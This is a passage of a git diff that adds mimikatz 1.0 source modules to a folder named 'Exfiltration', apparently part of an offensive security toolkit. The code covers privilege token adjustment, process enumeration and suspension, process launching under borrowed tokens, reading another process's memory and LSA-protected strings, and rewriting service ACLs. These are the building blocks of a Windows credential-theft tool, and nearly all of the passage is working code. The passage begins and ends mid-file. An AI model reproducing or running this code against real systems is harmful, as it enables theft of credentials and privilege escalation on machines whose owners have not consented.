+ return (hPipe && hPipe != INVALID_HANDLE_VALUE); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h new file mode 100644 index 0000000..69ab9e9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_pipe +{ +private: + HANDLE hPipe; + wstring pipePath; + +public: + mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); + virtual ~mod_pipe(void); + + bool closePipe(); + + bool readFromPipe(wstring &laReponse); + bool writeToPipe(const wstring &leMessage); + + bool createServer(); + bool createClient(); + + bool isConnected(); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp new file mode 100644 index 0000000..34324b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp @@ -0,0 +1,95 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_privilege.h" + +bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) + { + privilegeName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) +{ + return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); +} + +bool mod_privilege::get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + HANDLE hToken = INVALID_HANDLE_VALUE; + if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) + { + DWORD tailleRequise = 0; + BYTE * monBuffer; + + if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + monBuffer = new BYTE[tailleRequise]; + if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) + { + wstring * monPrivilege = new wstring(); + if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) + { + maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); + } + delete monPrivilege; + } + } + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_privilege::set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast<TOKEN_PRIVILEGES *>(monBuffer); + mesPrivileges->PrivilegeCount = static_cast<DWORD>(maPrivilegesvector->size()); + + unsigned int i; + vector<pair<wstring, DWORD>>::iterator monPrivilege; + for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) + { + if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) + { + mesPrivileges->Privileges[i].Attributes = monPrivilege->second; + } + else + { + break; + } + } + + if(reussite) + { + HANDLE hToken = INVALID_HANDLE_VALUE; + if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) + { + reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast<TOKEN_PRIVILEGES *>(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); + } + } + + delete monBuffer; + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h new file mode 100644 index 0000000..2d2652f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_privilege +{ +private: + static bool getName(PLUID idPrivilege, wstring * privilegeName); + static bool getValue(wstring * privilegeName, PLUID idPrivilege); + +public: + static bool get(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool set(vector<pair<wstring, DWORD>> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp new file mode 100644 index 0000000..d000f41 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp @@ -0,0 +1,473 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_process.h" + +bool mod_process::getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName) +{ + HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessesSnapshot != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 monProcessus; + monProcessus.dwSize = sizeof(PROCESSENTRY32); + + if(Process32First(hProcessesSnapshot, &monProcessus)) + { + do + { + if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) + { + KIWI_PROCESSENTRY32 monProcessK = { + monProcessus.dwSize, + monProcessus.cntUsage, + monProcessus.th32ProcessID, + monProcessus.th32DefaultHeapID, + monProcessus.th32ModuleID, + monProcessus.cntThreads, + monProcessus.th32ParentProcessID, + monProcessus.pcPriClassBase, + monProcessus.dwFlags, + monProcessus.szExeFile + }; + + maProcessesvector->push_back(monProcessK); + } + } while(Process32Next(hProcessesSnapshot, &monProcessus)); + } + CloseHandle(hProcessesSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) +{ + bool reussite = false; + + vector<KIWI_PROCESSENTRY32> * mesProcesses = new vector<KIWI_PROCESSENTRY32>(); + + if(getList(mesProcesses, processName)) + { + if(reussite = (mesProcesses->size() == 1)) + { + *monProcess = mesProcesses->front(); + } + } + delete mesProcesses; + return reussite; +} + +bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) +{ + bool reussite = false; + + vector<KIWI_MODULEENTRY32> * monVecteurDeModule = new vector<KIWI_MODULEENTRY32>(); + if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) + { + if(!moduleName) + { + *monModule = *(monVecteurDeModule->begin()); + reussite = true; + } + else + { + for(vector<KIWI_MODULEENTRY32>::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) + { + if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) + { + *monModule = *leModule; + reussite = true; + break; + } + } + } + } + delete monVecteurDeModule; + + return reussite; +} + +bool mod_process::getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId) +{ + HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); + + if(hModuleSnapshot != INVALID_HANDLE_VALUE) + { + MODULEENTRY32 monModule; + monModule.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(hModuleSnapshot, &monModule)) + { + do + { + KIWI_MODULEENTRY32 monModuleK = { + monModule.dwSize, + monModule.th32ModuleID, + monModule.th32ProcessID, + monModule.GlblcntUsage, + monModule.ProccntUsage, + monModule.modBaseAddr, + monModule.modBaseSize, + monModule.hModule, + monModule.szModule, + monModule.szExePath + }; + maModulevector->push_back(monModuleK); + } while(Module32Next(hModuleSnapshot, &monModule)); + } + CloseHandle(hModuleSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) +{ + bool reussite = false; + RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); + STARTUPINFO mesInfosDemarrer; + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; + maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); + commandLine[maCommandLine->size()] = L'\0'; + + DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); + + if(leToken) + reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else if(aUsurper) + reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else + reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + + delete[] commandLine; + return reussite; +} + +bool mod_process::suspend(DWORD & processId) +{ + bool reussite = false; + + if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast<PNT_SUSPEND_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::resume(DWORD & processId) +{ + bool reussite = false; + + if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast<PNT_RESUME_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtResumeProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::stop(DWORD & processId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = (TerminateProcess(monHandle, exitCode) != 0); + CloseHandle(monHandle); + } + return reussite; +} + +bool mod_process::debug(DWORD & processId) +{ + return (DebugActiveProcess(processId) != 0); +} + +bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) +{ + bool reussite = false; + + if(processHandle == INVALID_HANDLE_VALUE) + processHandle = GetCurrentProcess(); + + if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast<PNT_QUERY_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) + { + ULONG sizeReturn; + reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); + } + return reussite; +} + +bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) +{ + bool reussite = false; + + HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); + if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) + { + HANDLE handleProc; + if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) + { + DWORD ddNeededSize; + TOKEN_STATISTICS tokenStats; + + if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) + { + AuthentificationId = tokenStats.AuthenticationId; + } + CloseHandle(handleProc); + } + CloseHandle(handleProcess); + } + + return reussite; +} + +bool mod_process::getPeb(PEB * peb, HANDLE processHandle) +{ + bool reussite = false; + PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); + if(getProcessBasicInformation(mesInfos, processHandle)) + { + reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); + } + delete mesInfos; + return reussite; +} + +bool mod_process::getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * baseAddr = ptrBaseAddr; + + BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; + if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) + { + PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(ayIMAGE_DOS_HEADER); + if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; + if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) + { + PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast<PIMAGE_NT_HEADERS>(ayIMAGE_NT_HEADERS); + if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) + { + if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) + { + BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; + if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) + { + PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(ayIMAGE_IMPORT_DESCRIPTOR); + if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) + { + while(structImportDesc->Characteristics) + { + DWORD i = 0; + + BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; + + vector<KIWI_IAT_MODULE> mesImports; + + for(;;) + { + if( + mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) + && + mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) + ) + { + PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_HintName); + PIMAGE_THUNK_DATA IATArray = reinterpret_cast<PIMAGE_THUNK_DATA>(ayIMAGE_THUNK_DATA_IAT); + + if(HintNameArray->u1.Function) + { + KIWI_IAT_MODULE imageIAT = { + baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), + reinterpret_cast<PVOID>(IATArray->u1.Function), + 0, + string() + }; + + if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); + } + else + { + BYTE monTab[] = {0}; + long offsetToNull; + if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; + if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) + { + PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(ayIMAGE_IMPORT_BY_NAME); + imageIAT.funcName = string(reinterpret_cast<char *>(nameImg->Name)); + } + delete [] ayIMAGE_IMPORT_BY_NAME; + } + } + + mesImports.push_back(imageIAT); + i++; + } + else break; + } + else break; + } + + delete[] ayIMAGE_THUNK_DATA_IAT; + delete[] ayIMAGE_THUNK_DATA_HintName; + + BYTE monTab[] = {0}; + long offsetToNull; + + if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) + { + char * maLib = new char[offsetToNull+1]; + if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) + { + monIAT->push_back(make_pair(string(maLib), mesImports)); + } + delete [] maLib; + } + + structImportDesc++; + } + } + } + delete[] ayIMAGE_IMPORT_DESCRIPTOR; + } + } + } + delete[] ayIMAGE_NT_HEADERS; + } + } + delete[] ayIMAGE_DOS_HEADER; + + return reussite; +} + +bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess) +{ + bool reussite = false; + bool tabOk = false; + + vector<mod_process::KIWI_PROCESSENTRY32> * monTab; + + if(!mesProcess) + { + monTab = new vector<mod_process::KIWI_PROCESSENTRY32>(); + tabOk = mod_process::getList(monTab); + } + else + { + monTab = mesProcess; + } + + if(mesProcess || tabOk) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) + { + if(reussite = (monProcess->th32ProcessID == processId)) + { + *processKiwi = *monProcess; + break; + } + } + } + + if(!mesProcess) + { + delete monTab; + } + + return reussite; +} + +bool mod_process::getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle) +{ + bool reussite = false; + PEB * monPeb = new PEB(); + if(getPeb(monPeb, processHandle)) + { + PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); + if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) + { + PBYTE aLire, fin; + LDR_DATA_TABLE_ENTRY monEntry; + for( + aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), + fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); + aLire != fin; + aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) + ) + { + if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) + { + KIWI_VERY_BASIC_MODULEENTRY monModule = { + reinterpret_cast<PBYTE>(monEntry.DllBase), + monEntry.SizeOfImage, + getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) + }; + monModuleVector->push_back(monModule); + } + } + } + delete monLoader; + } + delete monPeb; + return reussite; +} + +wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + wstring maChaine; + BYTE * monBuffer = NULL; + if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) + { + maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); + } + if(monBuffer) + delete[] monBuffer; + return maChaine; +} + +bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) +{ + bool resultat = false; + + if(ptrString->Buffer && (ptrString->Length > 0)) + { + *monBuffer = new BYTE[ptrString->MaximumLength]; + if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) + { + if(unProtectFunction) + unProtectFunction(*monBuffer, ptrString->MaximumLength); + } + } + return resultat; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h new file mode 100644 index 0000000..a7acf18 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.h @@ -0,0 +1,84 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "secpkg.h" +#include "mod_ntddk.h" +#include "mod_memory.h" +#include "mod_text.h" +#include <security.h> +#include <tlhelp32.h> + +class mod_process +{ +public: + typedef struct _KIWI_IAT_MODULE + { + PVOID ptrToFunc; + PVOID ptrFunc; + WORD Ordinal; + string funcName; + } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; + + typedef struct _KIWI_PROCESSENTRY32 + { + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + wstring szExeFile; // Path + } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; + + typedef struct _KIWI_MODULEENTRY32 + { + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + wstring szModule; + wstring szExePath; + } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; + + typedef struct _KIWI_VERY_BASIC_MODULEENTRY + { + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + wstring szModule; + } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; + + static bool getList(vector<KIWI_PROCESSENTRY32> * maProcessesvector, wstring * processName = NULL); + static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); + + static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); + static bool suspend(DWORD & processId); + static bool resume(DWORD & processId); + static bool stop(DWORD & processId, DWORD exitCode = 0); + + static bool debug(DWORD & processId); + + static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); + static bool getModulesListForProcessId(vector<KIWI_MODULEENTRY32> * maModulevector, DWORD * processId = NULL); + static bool getVeryBasicModulesListForProcess(vector<KIWI_VERY_BASIC_MODULEENTRY> * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); + + static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = NULL); + + static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); + static bool getIAT(PBYTE ptrBaseAddr, vector<pair<string, vector<KIWI_IAT_MODULE>>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); + + static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); + static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp new file mode 100644 index 0000000..c14632c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp @@ -0,0 +1,162 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_secacl.h" + +bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) +{ + PSECURITY_DESCRIPTOR newSD = NULL; + ULONG laTaille; + bool succes = false; + + if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) + { + switch(monType) + { + case SE_KERNEL_OBJECT: + succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; + break; + case SE_SERVICE: + succes = SetServiceObjectSecurity(*reinterpret_cast<SC_HANDLE *>(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; + break; + } + LocalFree(newSD); + } + + return succes; +} + +bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) +{ + bool reussite = false; + DWORD dwSizeNeeded = 0; + SECURITY_DESCRIPTOR monSd; + if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { + PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; + if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) + { + SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; + PSID pEveryoneSID = NULL; + if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) + { + EXPLICIT_ACCESS ForEveryOne; + RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); + ForEveryOne.grfAccessMode = SET_ACCESS; + ForEveryOne.grfInheritance = NO_INHERITANCE; + ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; + ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; + ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; + ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID); + + PSECURITY_DESCRIPTOR newSd = NULL; + DWORD laTaille; + if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) + { + reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; + LocalFree(newSd); + } + FreeSid(pEveryoneSID); + } + } + delete [] oldSd; + } + return reussite; +} + +bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) +{ + bool reussite = false; + + wchar_t * szSid; + if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) + { + strSid->assign(szSid); + LocalFree(szSid); + } + return reussite; +} + +bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) +{ + bool reussite = false; + + DWORD dwSizeName = 0; + DWORD dwSizeDomain = 0; + SID_NAME_USE nameUse; + + if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) + { 